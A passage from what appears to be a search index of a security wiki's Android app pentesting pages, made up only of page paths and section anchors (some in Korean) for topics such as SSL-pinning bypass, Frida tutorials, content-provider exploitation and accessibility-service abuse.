","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#2-on-device-fraud-automation","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#3-screen-streaming--monitoring","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#playpraetor--command--control-workflow","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#detecting-malicious-accessibility-services","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#hardening-recommendations-for-app-developers","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#ats-automation-cheat-sheet-accessibility-driven","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#텍스트-기반-유사-스크린-스트리밍","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#device-admin-강제-수단","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#암호화폐-지갑-시드-문구-추출-패턴","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#nfc-relay-orchestration","mobile-pentesting/android-app-pentesting/accessibility-services-abuse.html#references","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#android-anti-instrumentation--ssl-pinning-bypass-fridaobjection","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#detection-surface-앱이-검사하는-항목","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#step-1--quick-win-hide-root-with-magisk-denylist","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#step-2--30second-frida-codeshare-tests","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#medusa-frida-framework로-자동화","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#step-3--init-time-탐지기를-우회하려면-늦게-attach하세요","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#step-4--jadx와-string-hunting을-통한-탐지-로직-매핑","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#step-5--frida-java를-이용한-런타임-스터빙","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#에뮬레이터vm-탐지-우회-java-stubs","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#ssl-pinning-bypass-quick-hook-java","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#6단계--java-hooks가-실패할-때-jninative-경로를-따라가세요","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#단계-7--objection-patching-embed-gadget--strip-basics","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#8단계--폴백-tls-pinning-패치로-네트워크-가시성-확보","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#유용한-명령어-치트시트","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#범용-proxy-강제--tls-unpinning-http-toolkit-frida-hooks","mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.html#참고자료","mobile-pentesting/android-app-pentesting/android-applications-basics.html#android-applications-basics","mobile-pentesting/android-app-pentesting/android-applications-basics.html#android-security-model","mobile-pentesting/android-app-pentesting/android-applications-basics.html#uid-separation","mobile-pentesting/android-app-pentesting/android-applications-basics.html#uid-sharing","mobile-pentesting/android-app-pentesting/android-applications-basics.html#sandboxing","mobile-pentesting/android-app-pentesting/android-applications-basics.html#permissions","mobile-pentesting/android-app-pentesting/android-applications-basics.html#pre-installed-applications","mobile-pentesting/android-app-pentesting/android-applications-basics.html#rooting","mobile-pentesting/android-app-pentesting/android-applications-basics.html#roms","mobile-pentesting/android-app-pentesting/android-applications-basics.html#implications","mobile-pentesting/android-app-pentesting/android-applications-basics.html#android-application-fundamentals","mobile-pentesting/android-app-pentesting/android-applications-basics.html#dalvik--smali","mobile-pentesting/android-app-pentesting/android-applications-basics.html#intents","mobile-pentesting/android-app-pentesting/android-applications-basics.html#intent-filter","mobile-pentesting/android-app-pentesting/android-applications-basics.html#암시적-인텐트","mobile-pentesting/android-app-pentesting/android-applications-basics.html#명시적-인텐트","mobile-pentesting/android-app-pentesting/android-applications-basics.html#pending-intents","mobile-pentesting/android-app-pentesting/android-applications-basics.html#broadcast-intents","mobile-pentesting/android-app-pentesting/android-applications-basics.html#sticky-broadcasts","mobile-pentesting/android-app-pentesting/android-applications-basics.html#deep-links--url-schemes","mobile-pentesting/android-app-pentesting/android-applications-basics.html#aidl---android-인터페이스-정의-언어","mobile-pentesting/android-app-pentesting/android-applications-basics.html#주요-개념","mobile-pentesting/android-app-pentesting/android-applications-basics.html#구성-요소","mobile-pentesting/android-app-pentesting/android-applications-basics.html#런처-액티비티-및-기타-액티비티","mobile-pentesting/android-app-pentesting/android-applications-basics.html#애플리케이션-서브클래스","mobile-pentesting/android-app-pentesting/android-applications-basics.html#services","mobile-pentesting/android-app-pentesting/android-applications-basics.html#broadcast-receivers","mobile-pentesting/android-app-pentesting/android-applications-basics.html#content-provider","mobile-pentesting/android-app-pentesting/android-applications-basics.html#webviews","mobile-pentesting/android-app-pentesting/android-applications-basics.html#기타-앱-구성-요소-및-모바일-장치-관리","mobile-pentesting/android-app-pentesting/android-applications-basics.html#응용-프로그램의-디지털-서명","mobile-pentesting/android-app-pentesting/android-applications-basics.html#강화된-보안을-위한-앱-검증","mobile-pentesting/android-app-pentesting/android-applications-basics.html#모바일-장치-관리-mdm","mobile-pentesting/android-app-pentesting/android-applications-basics.html#aidl--binder-서비스-열거-및-악용","mobile-pentesting/android-app-pentesting/android-applications-basics.html#1-실행-중인-서비스-발견","mobile-pentesting/android-app-pentesting/android-applications-basics.html#2-인터페이스-설명자-얻기-ping","mobile-pentesting/android-app-pentesting/android-applications-basics.html#3-트랜잭션-호출","mobile-pentesting/android-app-pentesting/android-applications-basics.html#4-알-수-없는-메서드-강제-공격","mobile-pentesting/android-app-pentesting/android-applications-basics.html#5-mapping-codes--methods-via-ontransact","mobile-pentesting/android-app-pentesting/android-applications-basics.html#6-누락된-권한-검사-찾기","mobile-pentesting/android-app-pentesting/android-applications-basics.html#7-평가-자동화","mobile-pentesting/android-app-pentesting/android-applications-basics.html#references","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#android-task-hijacking","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#task-back-stack-and-foreground-activities","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#task-affinity-attacks","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#classic-singletask--strandhogg-scenario","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#defaultaffinity-no-singletask-variant---caller-id-case-study","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#strandhogg-20-cve-2020-0096--reflection-based-task-hijack","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#detection--exploitation-checklist","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#mitigation","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#related-ui-hijacking-techniques","mobile-pentesting/android-app-pentesting/android-task-hijacking.html#references","mobile-pentesting/android-app-pentesting/adb-commands.html#연결","mobile-pentesting/android-app-pentesting/adb-commands.html#여러-장치","mobile-pentesting/android-app-pentesting/adb-commands.html#포트-터널링","mobile-pentesting/android-app-pentesting/adb-commands.html#패킷-관리자","mobile-pentesting/android-app-pentesting/adb-commands.html#설치제거","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-install-option","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-uninstall-options","mobile-pentesting/android-app-pentesting/adb-commands.html#패키지","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-pm-list-packages-options","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-pm-path","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-pm-clear","mobile-pentesting/android-app-pentesting/adb-commands.html#파일-관리자","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-pull--local","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-push","mobile-pentesting/android-app-pentesting/adb-commands.html#screencapturescreenrecord","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-screencap","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-screenrecord-options","mobile-pentesting/android-app-pentesting/adb-commands.html#shell","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-1","mobile-pentesting/android-app-pentesting/adb-commands.html#pm","mobile-pentesting/android-app-pentesting/adb-commands.html#프로세스","mobile-pentesting/android-app-pentesting/adb-commands.html#시스템","mobile-pentesting/android-app-pentesting/adb-commands.html#로그","mobile-pentesting/android-app-pentesting/adb-commands.html#logcat","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-logcat-option-filter-specs","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-logcat--b","mobile-pentesting/android-app-pentesting/adb-commands.html#dumpsys","mobile-pentesting/android-app-pentesting/adb-commands.html#adb-shell-dumpsys-options","mobile-pentesting/android-app-pentesting/adb-commands.html#백업","mobile-pentesting/android-app-pentesting/apk-decompilers.html#apk-decompilers","mobile-pentesting/android-app-pentesting/apk-decompilers.html#jd-gui","mobile-pentesting/android-app-pentesting/apk-decompilers.html#jadx","mobile-pentesting/android-app-pentesting/apk-decompilers.html#gda-android-reversing-tool","mobile-pentesting/android-app-pentesting/apk-decompilers.html#bytecode-viewer","mobile-pentesting/android-app-pentesting/apk-decompilers.html#enjarify","mobile-pentesting/android-app-pentesting/apk-decompilers.html#cfr","mobile-pentesting/android-app-pentesting/apk-decompilers.html#fernflower","mobile-pentesting/android-app-pentesting/apk-decompilers.html#krakatau","mobile-pentesting/android-app-pentesting/apk-decompilers.html#procyon","mobile-pentesting/android-app-pentesting/apk-decompilers.html#frida-dexdump","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#avd---android-가상-디바이스","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#avd란","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#gui","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#가상-머신-준비","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#가상-머신-실행","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#명령줄-도구","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#가상-머신-실행-1","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#명령줄-옵션","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#linux-cli-setup-sdkavd-quickstart","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#cli에서-스냅샷","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#armx86-바이너리-변환-android-11","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#play-store-디바이스의-root-획득","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#burp-인증서-설치","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#유용한-avd-옵션","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#스냅샷-찍기","mobile-pentesting/android-app-pentesting/avd-android-virtual-device.html#참고자료","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#생체-인증-우회-안드로이드","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#방법-1--암호화-객체-사용-없이-우회하기","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#method-2--exception-handling-approach","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#method-3--instrumentation-frameworks","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#method-4--리버스-엔지니어링-및-코드-수정","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#method-5--사용자-정의-인증-도구-사용","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#method-6--biometricpromptapi-28-34를-위한-유니버설-frida-훅","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#method-7--downgrade--fallback-manipulation","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#방법-8--공급업체--커널-수준-cve","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#개발자를-위한-강화-체크리스트-빠른-펜테스터-노트","mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.html#참고-문헌","mobile-pentesting/android-app-pentesting/content-protocol.html#미디어-저장소의-파일-나열","mobile-pentesting/android-app-pentesting/content-protocol.html#chrome의-콘텐츠-제공자-접근","mobile-pentesting/android-app-pentesting/content-protocol.html#chrome-cve-2020-6516-same-origin-policy-bypass","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#drozer-tutorial","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#테스트할-apk","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#설치","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#서버-시작하기","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#interesting-commands","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#package","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#활동","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#content-providers","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#services","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#broadcast-receivers","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#is-debuggeable","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#tutorials","mobile-pentesting/android-app-pentesting/drozer-tutorial/index.html#more-info","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#exploiting-content-providers","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#intro","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#노출된-콘텐츠-제공자-에서-정보-가져오기","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#데이터베이스-기반-content-providers","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#쿼리-내용","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#insert-content","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#update-content","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#delete-content","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#sql-injection","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#파일-시스템-기반-콘텐츠-제공자","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#파일--읽기","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#경로-탐색","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#2023-2025-업데이트-및-최신-팁","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#drozer-3x-python-3-출시","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#내장된-cmd-content-헬퍼-사용-adb--80","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#content-providers를-악용한-최근-실제-cve","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#api-30에-대한-보안-강화-체크리스트","mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.html#참조","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#디버깅-가능한-애플리케이션-악용하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#루트-및-디버깅-가능성-검사-우회하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#android-앱을-디버깅-가능하게-만들고-검사-우회하기-위한-단계","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#앱을-디버깅-가능하게-만들기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#검사-우회하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#취약점-악용하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#취약점-확인하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#설정-준비하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#런타임에서-코드-주입하기","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#2024---모든--애플리케이션을-디버깅-가능한-프로세스로-전환하기-cve-2024-31317","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#빠른-poc","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#탐지-및-완화","mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.html#참조","mobile-pentesting/android-app-pentesting/flutter.html#flutter","mobile-pentesting/android-app-pentesting/flutter.html#flutter-1","mobile-pentesting/android-app-pentesting/flutter.html#flutter에서-https-트래픽-가로채기","mobile-pentesting/android-app-pentesting/flutter.html#flutter에서-https-가로채기가-어려운-이유","mobile-pentesting/android-app-pentesting/flutter.html#정확한-flutter-스택-지문-찍기","mobile-pentesting/android-app-pentesting/flutter.html#target-ssl_crypto_x509_session_verify_cert_chain","mobile-pentesting/android-app-pentesting/flutter.html#option-a---reflutter-를-이용한-바이너리-패칭","mobile-pentesting/android-app-pentesting/flutter.html#option-b---frida-를-이용한-라이브-훅킹-하드코어-경로","mobile-pentesting/android-app-pentesting/flutter.html#프록시를-통한-트래픽-강제-전송","mobile-pentesting/android-app-pentesting/flutter.html#참조","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#frida-튜토리얼","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#설치","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#frida-server-vs-gadget-root-vs-no-root","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#튜토리얼","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#tutorial-1","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#tutorial-2","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#tutorial-3","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#빠른-예제","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#명령줄에서-frida-호출하기","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#기본-python-스크립트","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#hooking-함수매개변수-없음","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#매개변수가-있는-함수-hooking-및-반환값-획득","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#hooking-functions-and-calling-them-with-our-input","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#이미-생성된-클래스-객체-가져오기","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#다른-frida-튜토리얼","mobile-pentesting/android-app-pentesting/frida-tutorial/index.html#참고자료","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#frida-tutorial-1","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#python","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#hook-1---boolean-bypass","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#hook-2---function-bruteforce","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#non-static-function","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#정적-함수","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#hook-3---인수-및-반환-값-가져오기","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.html#중요","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#frida-tutorial-2","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#part-2","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#python","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#part-3","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#python-1","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#js","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#part-4","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#python-2","mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.html#js-1","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#frida-tutorial-3","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#solution-1","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#solution-2","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#solution-3--frida-trace-frida--16","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#solution-4--one-liner-with-objection-2024","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#현대-android-노트-2023---2025","mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.html#references","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#objection-tutorial","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#소개","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#요약","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#튜토리얼","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#설치","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#connection","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#기본-작업","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#정적-분석을-동적으로-만들기","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#후킹이-쉬움","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#클래스-인스턴스","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#keystoreintents","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#메모리","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#sqlite","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#exit","mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.html#내가-objection에서-놓치는-것","mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.html#google-ctf-2018---shall-we-play-a-game","mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.html#smali-변경-사항","mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.html#m를-처음-호출하기","mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.html#솔루션","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#insecure-in-app-update-mechanisms--remote-code-execution-via-malicious-plugins","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#0-quick-triage-does-the-app-have-an-inapp-updater","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#1-안전하지-않은-tls-trustmanager-식별","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#2-reverse-engineering-the-update-metadata","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#3-악성-플러그인-제작","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#31-네이티브-라이브러리-경로-dlopensystemloadlibrary","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#32-dex-based-plugin-path-dexclassloader","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#4-mitmproxy로-페이로드-전달","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#41-bypassing-signaturehash-checks-when-present","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#5-other-attack-surfaces-in-updaters-20232025","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#6-post-exploitation-ideas","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#detection--mitigation-checklist-blue-team","mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.html#references","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#burp-인증서-설치","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#adb를-통한-시스템-전체-프록시","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#가상-머신에서","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#magisc-사용하기","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#magisc-모듈-만드는-법-배우기","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#android-14-이후","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#bind-mounting-through-nsenter","mobile-pentesting/android-app-pentesting/install-burp-certificate.html#참고자료","mobile-pentesting/android-app-pentesting/intent-injection.html#intent-injection","mobile-pentesting/android-app-pentesting/intent-injection.html#deep-links--webview-sink-url-parameter-injection","mobile-pentesting/android-app-pentesting/intent-injection.html#javascript를-활성화하는-체크-순서-버그","mobile-pentesting/android-app-pentesting/intent-injection.html#기타-고전적인-intent-주입-원시","mobile-pentesting/android-app-pentesting/intent-injection.html#references","mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.html#자동","mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.html#수동","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#수동-디오브퓨세이션-기법","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#수동--디오브퓨세이션-기법","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#정적-디오브퓨세이션-전략","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#난독화-식별하기","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#디오브퓨세이션에서의-동적-분석","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#동적-분석의-응용","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#llm을-이용한-자동-디오브퓨세이션-androidmeda","mobile-pentesting/android-app-pentesting/manual-deobfuscation.html#references-and-further-reading","mobile-pentesting/android-app-pentesting/react-native-application.html#react-native-application-analysis","mobile-pentesting/android-app-pentesting/react-native-application.html#javascript-code","mobile-pentesting/android-app-pentesting/react-native-application.html#webpack","mobile-pentesting/android-app-pentesting/react-native-application.html#번들에서-빠른-비밀엔드포인트-탐색","mobile-pentesting/android-app-pentesting/react-native-application.html#js-코드-변경-및-재빌드","mobile-pentesting/android-app-pentesting/react-native-application.html#hermes-바이트코드","mobile-pentesting/android-app-pentesting/react-native-application.html#코드-변경-및-재빌드-hermes","mobile-pentesting/android-app-pentesting/react-native-application.html#동적-분석","mobile-pentesting/android-app-pentesting/react-native-application.html#frida를-사용하여-릴리스에서-dev-support-활성화-주의사항","mobile-pentesting/android-app-pentesting/react-native-application.html#rn-앱에서의-네트워크-가로채기","mobile-pentesting/android-app-pentesting/react-native-application.html#인기-rn-라이브러리의-최근-문제확인할-사항","mobile-pentesting/android-app-pentesting/react-native-application.html#references","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#네이티브-라이브러리-리버싱","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#새로-확보한-libfooso에-대한-빠른-분류-워크플로우","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#dynamic-instrumentation-frida--16","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#process-local-jni-telemetry-via-preloaded-so-sotap","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#recent-vulnerabilities-worth-hunting-for-in-apks","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#anti-reversing--hardening-trends-android-13-15","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#resources","mobile-pentesting/android-app-pentesting/reversing-native-libraries.html#references","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#shizuku-privileged-api","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#1-특권-서비스-시작하기","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#11-무선-adb-android-11","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#12-usb--로컬-adb-원라이너","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#13-루팅된-장치","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#14-실행-중인지-확인하기","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#2-애플리케이션에서-바인딩","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#3-rish--elevated-shell-inside-termux","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#31-유용한-rish-셸-명령어","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#4-보안-고려사항--탐지","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#5-완화","mobile-pentesting/android-app-pentesting/shizuku-privileged-api.html#참조","mobile-pentesting/android-app-pentesting/smali-changes.html#smali---decompilingmodifyingcompiling","mobile-pentesting/android-app-pentesting/smali-changes.html#빠른-방법","mobile-pentesting/android-app-pentesting/smali-changes.html#decompile-the-apk","mobile-pentesting/android-app-pentesting/smali-changes.html#change-smali-code","mobile-pentesting/android-app-pentesting/smali-changes.html#recompile-the-apk","mobile-pentesting/android-app-pentesting/smali-changes.html#새-apk에-서명하기","mobile-pentesting/android-app-pentesting/smali-changes.html#새-애플리케이션-최적화","mobile-pentesting/android-app-pentesting/smali-changes.html#새-apk에-서명-다시","mobile-pentesting/android-app-pentesting/smali-changes.html#smali-수정하기","mobile-pentesting/android-app-pentesting/smali-changes.html#가벼운-변경","mobile-pentesting/android-app-pentesting/smali-changes.html#함수-내부-변수의-초기값-수정","mobile-pentesting/android-app-pentesting/smali-changes.html#기본-작업","mobile-pentesting/android-app-pentesting/smali-changes.html#더-큰-변경사항","mobile-pentesting/android-app-pentesting/smali-ch